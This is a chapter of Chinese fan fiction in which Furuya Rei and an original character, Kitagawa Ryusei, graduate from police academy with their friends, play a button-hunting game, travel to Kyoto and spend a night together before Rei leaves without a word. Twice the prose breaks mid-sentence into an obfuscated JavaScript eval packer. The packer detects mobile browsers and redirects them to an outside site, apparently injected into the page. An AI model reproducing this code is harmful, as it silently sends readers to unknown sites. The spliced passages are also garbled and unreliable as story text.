北川琉生小心眼地在心里扎小人,偏过热意未褪的脸,避开这些人探寻的目光。 虽然没吃过猪肉,但萩原研二怎么说也是见过猪群迁徙的人,一眼就瞧出不对劲。 他偷偷挪步过去,趁金发青年不注意推着北川琉生的肩膀就要跑,边跑还边喊:“好耶!Hagi从凶恶的小降谷手中救下了可怜的琉生酱!小阵平,你来殿后!” 一溜烟就被偷家的降谷零:“……” 被推得在风中凌乱还没回神的北川琉生:“……” 他缓缓眨眼,站在降谷零对面,用眼神传递讯号:呀,好像被当成人质了呢。 要救我吗,零先生? 最后人质君和“受制于人”的零先生被迫蹲在墙角,企图用迟来的坦白换取一线生机。 “什么时候的事?”松田阵平恶狠狠道。 降谷零垂着毛茸茸的金色脑袋:“就运动会那天。” “什么?!你们竟然能瞒这么久!”萩原研二难以置信。 “好过分!”他语气一转,可怜兮兮地控诉:“小降谷和小琉生有小秘密了!还想排挤我们所有人!” 如果是他谈恋爱,一定会忍不住在确认关系后的三小时内昭告天下! 声情并茂的控诉,但北川琉生不为所动,顶多、顶多有点心虚。 他伸出食指戳戳作嫌疑犯状抱头蹲的降谷零后腰,示意他快答。 降谷零回以无辜的眼神。 好像没什么可以狡辩的余地诶。 相顾无言,再看看假笑的好友们,两人不约而同放弃抵抗。 敌人节节败退气焰衰弱,众人乘胜追击,萩原研二率先扑过来压倒两个可恶的家伙,气势汹汹:“上啊!制裁他们!” * 虽然班长偷偷背着大家抢跑,又有两个家伙在他们眼皮子底下暗度陈仓,明明昨天还都是单□□的几人一夜之间叛变了一半。 但这并不会影响什么。 顶多为了自己能多吃一碗饭,需要时不时将某两个总暗戳戳粘在一起的家伙强行拆开! 黏糊糊的小情侣什么的太烦人了!松田阵平如是说。 时间磨磨蹭蹭地走到秋天,警校生活眼看着要结束。 毕业可不会等待那些还没有准备好步入职场的青年们。 降谷零作为优秀毕业生刚刚完成发言,此时还被留在了主席台。 在不远处树下等得无聊,北川琉生将手中樱花徽章举起,放在阳光下打量,手中结业证书上还有警察的标志。 ……这才过多久,他居然就能毫无芥蒂地接受警察身份了。 “小琉生!” 有人在喊他的名字。 北川琉生抬头去看,萩原研二正在远处挥手,表情夸张地朝这个方向跑来。 身后跟着好几个女同学。 警校女生一个个跑得不比谁慢,紧紧坠在黑发青年身后,几次差一点就能抓住他的衣服。 “萩原君,别跑!” 一个女生飞扑而来,一招擒拿将人拦下,几个未来女警配合默契瞬间包围过来。 萩原研二顽强拽着胸口衣物,夺命躲闪,满脸宁死不屈:“真的没有了!就只有几颗扣子,胸口这颗不能乱给啊!” “小琉生救我!” 青年衣冠不整,被一群强得过分的女生笼在其中,目光惊恐。 “……”北川琉生吞了口唾沫,悄悄后退一步,远程提供精神支持:“研二君,你加油……” 萩原研二:“……”嘤嘤嘤! 顽强的研二君艰难保下了自己第二颗纽扣,哄着将女同学们劝走。 末了还感概一声:“虽然让女士失望是件失礼的事情,但Hagi只有一个,可不够大家分。” 你明明就乐在其中,北川琉生腹诽。 这么想着,他看见青年那双紫水晶般的眼睛正上下扫视自己那一排整齐的纽扣,摩挲着下巴说:“小琉生,我有一个好主意……” 北川琉生心里警铃狂响,再次后退:“……而我有一个不好的预感。” 半个小时后,降谷零从主席台小跑过来想要给男朋友一个大大的拥抱,然后看见一排家伙站得整整齐齐,脸上挂着看好戏的表情。 优秀毕业生先生急忙刹车,投以疑惑的目光。 被萩原和松田阵平一左一右夹在中间,北川琉生摊开手表示自己是被迫的。 而他可怜的外套失去了所有的纽扣,正挂在主人臂弯表演自闭。 青年穿着白衬衫,表情无辜、眼神无奈。 “咳,”诸伏景光上前一步,语气温和如玉:“是这样的Zero,作为庆祝你成为优秀毕业生,我们为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15185349|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你准备了一个小游戏。” 萩原研二对一脸迷茫的金发青年做了个wink,解释道:“现在小琉生所有的纽扣都分布在了学校各地,你需要找到它们,并且判断出哪一颗曾经在离他心脏最近的位置。” 说完他看向北川琉生。 虽然觉得有些尴尬,但在其他人目光催促下北川琉生不得不按照剧本说完最后一句:“嗯……找到了才是你的。” 降谷零:“……”他目光视线变得难以置信,从北川琉生扫到诸伏景光,还在最为沉稳可靠的班长身上打了个转。 大家看天看地,一声不吱。 这是什么?我把大家揣兜里,大家把我踹沟里?? 学校这么大,纽扣那么小,随便往哪个花坛一放的话是想让他拿耙子去犁地吗? “给你个提示,金发混蛋,”大概是降谷零表情太过凄惨,松田阵平心情大好,嘴角怎么都压不住:“地点都是琉生定的。” 范围瞬间缩小。 降谷零从来没有觉得卷发混蛋这么顺眼过。 下一次打架让他三招好了。 北川琉生会选的地方…… 降谷零第一想到的就是他撞见对方翻墙的那颗树下。 结果不出所料。 看着幼驯染在树下找到第一颗纽扣,又目标明确地往广场方向赶,诸伏景光跟在后面若有所思。 “原来这么早就认识了吗?” 仔细回想和北川琉生相处的经历,降谷零在围墙树下、广场、澡堂、北川琉生的宿舍找到了所有的纽扣。 但问题来到最难的部分。 哪一颗是他真正想要的那个。 降谷零伸手在金发上抓了一把,看起来有些苦恼。 “想不出来可以都拿走哦,”北川琉生不知道什么时候靠近,凑在他耳边小声:“反正都是你的。” 明明是极动听的话,降谷零抬头,总觉得有什么不对劲。 其他人笑得一脸神秘。 不知道是提示还是混淆视听,班长表情真挚:“如果是娜塔莉的话,应该会选择表白地点吧……” 诸伏景光则爱莫能助:“我不知道,只有琉生自己知道答案。” 松田阵平还在拱火:“猜不出来就放弃吧,金发混蛋。” 放弃是绝对不可能的,绝对! 降谷零狐疑地挨个打量五颗纽扣,转头对上北川琉生色泽浅淡满是戏谑的眼睛。 仿佛笃定自己找不到。 他一怔,突然想明白了什么。 还真是只小狐狸。 放下手里的纽扣坐回椅子上,降谷零施施然往椅背上一靠。 “就这么放弃了?”北川琉生笑着问:“不再找找?” 挑衅的话说到一半,被降谷零打断:“没有认输,我已经找到了。” 从最开始北川琉生就说了,他心脏位置的纽扣,是他的。 降谷零左手伸进自己的外套口袋,果不其然,找到一枚本不该存在的东西。 黑色纽扣从指尖弹起,在空中闪过一道弧光,落下时被一只深色皮肤的手牢牢抓入掌心。 金发青年双眼含笑看着眼前的人,再一次挑眉:“虽然不知道它是什么时候自投罗网的。” 炫耀之意溢于言表。 “嗯??这是放水了吧!”目瞪口呆的萩原研二直接跳起来:“小琉生!你这样会显得我们的幸灾乐祸很打脸诶!” 对此表示认同,松田阵平颇为牙疼地啧了声,撇开头拒绝狗粮。 “还真是赢得彻底呢,Zero。”诸伏景光笑着打趣。 没有戏弄到同期好友,萩原研二整个人都蔫巴了,悻悻拿回那颗自己借给北川琉生用来当障眼法的纽扣时嘴里还在嘀嘀咕咕。 …… 再过不久他们就要赶往各自的工作岗位,不能再像此时一样形影不离了。 伊达、北川、萩原和松田都在东京,偶尔还能聚一聚,而另外两个家伙至今没有透露自己的工作地。 大家也默契地没有追问。 并不想让故事暂停在这里,伊达航伸出胳膊,凭借傲人的身高直接笼住几人,大手一挥决定:“我们一起去旅游吧!” “我想去京都的三十三间堂很久了!” 20.跑路 从东京到京都东山区大概四百六十公里,现在出发他们能在深夜到达目的地。 刚刚毕业的家伙可不缺少说走就走的动力。 敲定计划后萩原研二立刻租了一辆七座轿车,并宣布要让没感受过自己驾驶技术的北川琉生体验到最棒的旅行之路。 不能开车的警校生活都快把他憋坏了。 曾远远看见对方把绑架犯的车甩出去的北川琉生:“……” 嗯,没事,他有异能力,不慌。 发现自己已经能看懂他微表情的降谷零失笑:“放心,萩原的车技虽然嚣张了点,但还是挺安全的。” “我没有紧张。”北川琉生为自己辩解。 抬手将他头上炸起的发丝拂下,降谷零收敛唇角正色:“没说你紧张。” 北川琉生:…… 仰仗萩原研二把油门当脚踏板的开车风格,他们到京都时还不算太晚。 大家今晚还可以在旅馆睡上一觉。 “只剩四间大床房了,我和小阵平一间。”萩原研二晃着手中四张房卡:“小诸伏、班长,你们的房卡。” “晚安了大家。” 在有一对小情侣的情况下,大家不约而同地默认降谷零和北川琉生一间。 事实上除了医院那一晚以外再也没有和对方同床共枕过的两人:“……” 咳、都是成年人了,临到关头虽然不至于扭捏,但总还是有些不好意思。 坦荡,降谷零,你要坦荡。 他拍拍脸颊自言自语,跟上拿着房卡走在前面的北川琉生。 刚走进房间,坦荡的降谷君被拽住衣扣踉跄着向前一步。 差点将北川琉生扑倒。 咔嚓一声细响。 他寻声低头,看向自己的外套。 不出所料,胸口的那颗纽扣被剪下,只留下光秃秃一个坑。 降谷零头顶悠悠冒出个问号。 北川琉生松开他。 食指与中指间夹住一颗圆形物品,左右晃动。 见人还满脸错愕回不过神,他动作一顿,缓缓眯起眼睛:“啊……原来不准备给我吗?” 以前从没有体验过这种学生情侣之间乐趣,北川琉生了解过第二颗纽扣的意义后虽然嫌弃幼稚,但也还是自然地将它送了出去。 但降谷同学似乎忘记了这件事呢。 于是北川琉生只好自己动手“明抢”。 面对气场不明原因瞬间飞涨的青年,降谷零暴起的求生欲喷涌而出,疯狂摇头:“怎么可能!” 之前是记得的,这不是被一连串的事情给耽搁忘了嘛! 还有琉生你是怎么用这么无辜的脸做出这样吓人的表情的?! 得到满意的答案。 北川琉生将“强取豪夺”来的战利品妥帖放进钱包里,剪刀在手里转了个漂亮的花后才放下。 目光顿时变成初春化开的冰,他语气带上暖意:“吓死我了,还以为零你不愿意呢。” 说着他勾起眉眼,依旧是那副乖巧面容。 躲过一劫的降谷零不尴尬也不难为情了,此时只想抓住他的肩膀边摇边大喊。 这剧本不对! 直到抬头和一道戏谑的视线对上,他才反应过来眼前这个人是故意的。 “琉、生!好啊你!” 奈何北川琉生早有准备,闪身走进浴室,只从门缝中露出半个脑袋:“我想先洗澡,没意见吧,零先生?” 降谷零:“……” 突如其来的一声叫得降谷零一愣,拒绝的机会转瞬即逝。 等他反应过来时,只抬头看见浴室的玻璃门上印着自己黑里透红的脸。 蔫坏的家伙! 抬手捂住脸,降谷零灰紫色眼睛从指缝中露出来,目光要把浴室门烫出个洞。 一点也不乖巧。他在心里愤愤地想——自己怎么到现在才看清他的本质! 事实上直到入睡都没有发生什么让人想入非非的事。 白天的毕业典礼和六个小时车程太消耗精力,等降谷零洗完澡出来时北川琉生已经睡着了。 床上的人乖巧地缩在里面,将大半张床空出来,感受到被子被掀开的动静也只迷迷糊糊睁开了半只眼,又很快闭了回去。 ……这样看还是挺乖的,降谷零立马背叛半个小时前的自己。 他关掉床头留的那盏灯躺下,一只手搭在身边人的腰上。 “晚安。” * 三十三间堂又叫莲华王院,是京都最为令人震撼的佛教寺庙。 一条木质长廊被梁柱隔为三十三间,故此得名。 主堂有一千零一座千手观音像坐落,唯一的那尊坐像观音更是被奉为日本国宝。 光是站在这里,带给人的震撼都足够让任何浮躁心境变得平和。 室外人不是很多,庭院里有身穿传统和服的年轻人在拍照。 松柏亭立在池塘边,石路旁的花圃开着应季的鲜花。不远处朱红长廊挂着一排风铃和风车,发出叮铃脆响。 “之所以用33这个数字,据说一是因为观音用33张面孔普渡众生,二是是源于佛学中的三十三天。” 同行的旅客侃侃而谈,向同伴解释,对此了解不多的警校生们也竖起耳朵。 唯有北川琉生听得眉心直跳,有些无奈地压低声音提醒他们:“这些话听听就好,你们别真信了。” 闻言众人不明地偏头瞧过来,目光疑惑。 他只好解释:“千手观音源于大乘佛教,属于佛教菩萨体系,而三十三天作为帝释的居所,属于护法神体系。” 区别于前者的慈悲,后者往往象征着力量与守护。 身处寺庙,大家为表尊重都纷纷压低声音,松田阵平奇道:“你对佛教很了解。” 看起来不太像啊。 降谷零也想起来之前北川琉生询问过自己是否相信神明。 北川琉生摇头:“只是刚好了解一点。” “三十三天又叫忉利天,在佛学中属于天道欲界第二天,依须弥山而居,是天界唯二的‘地居天’。比较有意思的是欲界诸神其实和凡人一样,有身体形象,不排斥物质和精神享乐,沉溺欲/望。” 听他说完,几人一脸好奇:“琉生你真的不信教吗?” “真的!”北川琉生哭笑不得:“骗你们干什么?” 比起这群额外信仰樱花徽章的家伙,他的信仰明显更加单一。 “你们不是要去求御守吗?”他适时提醒:“再不排队可能就要错过了。” 虽然不信教,但御守是一定要带一个回去的! 闻言大家浑身一震,立马赶去排队。 北川琉生对御守没有兴趣,顺路求了一道签。 “啊……是大吉呢。”降谷零凑过来,从他身后探头,毛茸茸的金色脑袋从远处看像搭在了北川琉生肩膀上。 “琉生的运气真——”话没有说完就被打断。 那张写着大吉的福签被主人抬手贴在了金发青年额头上。 降谷零眨眼,显然没反应过来他的意思。 “给你的,大吉。”北川琉生松开抵在他额心的手指,看起来也因为自己的好运而感到愉悦。 双眼熠熠闪烁着光。 伸手接住从额头飘落的签文,降谷零想到自己即将要去做的事情,默然片刻还是没有忍住。 他张开胳膊,将青年整个抱住,圈在怀里。 “谢谢。” “咳咳!”萩原研二他们终于求到御守,回头就直面这一幕,一个个咳得惊天动地。 ——你们两个家伙注意点影响啊!! 十月入秋,气温和阳光都恰好保持在最适宜人类生存的范畴。 玩起来不会太热,也不用担心因为衣服太厚而束手束脚。 好不容易来一次京都,大家都抱着要玩就玩个痛快的心思,把附近出名的景点都逛了一遍。 伊达航和萩原研二带了大堆伴手礼,前者是给女朋友的,后者除了家人的那一份其他都是给女性朋友的。 大包小包提在身上,最后累得连美食都唤不起任何激情。 寿喜锅在旁边咕噜咕噜冒香味,松田阵平的脑袋一点一点,几次差点砸碗里。 “可怜的寿喜锅先生,没有得到一点关注呢,”诸伏景光托腮感慨。 萩原研二用筷子戳着碗中的蟹味菇:“味道还是很不错啦,只是白天的点心吃得有些撑。” 说着他转移注意力抓住幼驯染的肩膀,摇了摇,声情并茂道:“小阵平!你怎么了小阵平!” 差点睡着的松田阵平猛地惊醒,额头青筋直抽:“Hagi!你把脸伸过来,我们俩好好交流交流!” 只有班长秉持不浪费粮食的美好品质,一直有在认真吃晚饭。 “哒咩哟!我是不会绝对接受生鸡蛋蘸酱的!”一旁北川琉生坚决护住自己的碗,表情抗拒,不让降谷零有任何可乘之机。 为表决心,他重复:“绝对!” 北川琉生拒绝除了溏心蛋以外的任何生鸡蛋料理! 尤其是咸香的牛肉沾生鸡蛋液这种魔鬼吃法! 筷子一转,降谷零只好把牛肉送进自己嘴里,满脸疑惑:“有这么难接受吗?” 然后他就亲眼看见红棕发青年看着自己的目光一点点失焦,藏不住嫌弃,口中还在喃喃自语。 凑过去一听竟然是:“尊重、理解,萝卜白菜各有所爱……咦,生鸡蛋……” 降谷零哑然失笑:“有这么夸张吗?” 北川琉生无声与他对视。 不一会降谷零就败下阵来……好吧,看起来非常夸张。 索性吃不下,大家干脆叫了一打啤酒,要知道喝酒就不存在什么喝饱了。 就好像喝酒和吃饭的胃不是同一个。 降谷零只是出去接了个电话,回来就看见北川琉生万丈豪情喝倒一片。 青年眼神清明,甚至比以往都要明亮。他啪嗒一声将空的易拉罐立在桌上,环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他看不见的地方,北川琉生眸间闪过一丝笑。 好乖。 …… 酒店的浴室足够大,站两个人绰绰有余。 花洒兢兢业业淌着热水,让这一处空间氤氲朦胧。 一只素白的手撑上墙壁瓷砖,又因水雾打滑落下,被牵引着搭上深肤色肩膀。 偶尔溢出的声响混在淋漓的水声中,被浴室门牢牢锁住。 不知过了多久,最后走出浴室的只有一双腿。 白色浴衣裹得严严实实,北川琉生被小心放在床上,裸露的粉白皮肤或是在热水中呆得过久,泛着红。 “琉生,”撑在眼前人身侧,降谷零因为居高临下而一览无余,他灰紫色眼睛清澈,眉眼一弯,语气诚恳:“我比较习惯裸睡。” 连手指都不愿意再抬,青年只哼了两声,并没有明白他的意思。 对方迷迷糊糊的样子惹得降谷零一阵低笑,伸手托起他的脖颈。 “睁开眼好不好,琉生?” 等消停下来时北川琉生绝望地发现天似乎要蒙蒙亮了…… 毫不费力地陷入沉睡,等他醒来后一定要和某个精力过剩的混蛋好好谈谈心,北川琉生想。 他绝不会去反思是自己挑衅在先。 日上三竿,北川琉生被敲门声叫醒时险些没能起得来。 “小降谷、小琉生,你们有看见小诸伏吗?”敲门的是萩原研二。 等了好一会没人去开门,北川琉生从床上坐起来环顾一圈,才发现房间只有他一个人。 降谷零不在里面。 窗帘被细心关着,没有露出半点刺眼阳光。 做了一晚和熊搏斗的噩梦,北川琉生眼下挂着明显的黑眼圈。 “来了来了,”他嘟囔着踩上拖鞋去开门,转身时动作一顿。 刚刚没有看清楚,直到现在他才发现房间里属于某个人的背包已经不在原来的位置了。 新的洗漱用品被拆开使用过,酒店拖鞋也只剩北川琉生的一双。 昨晚放在床头的御守和一对纽扣也只剩下孤零零一颗。 桌上摆着一份早餐,还有一张画着跪地火柴人的标签纸。 再没有其他任何内容。 房间的门打开,看见北川琉生那一刻萩原研二的话卡在嗓子里不上不下。 圆领T恤根本遮不住什么,脖子上的痕迹一览无余。 房间里没有第二个人。 棕发青年表情全然空白,没有一丝情绪。 直觉告诉萩原研二现在最好不要讲话。 “打电话。” 果不其然,北川琉生面无表情、一字一顿,牙齿咬得咔咔作响。 这算什么?睡完就跑?!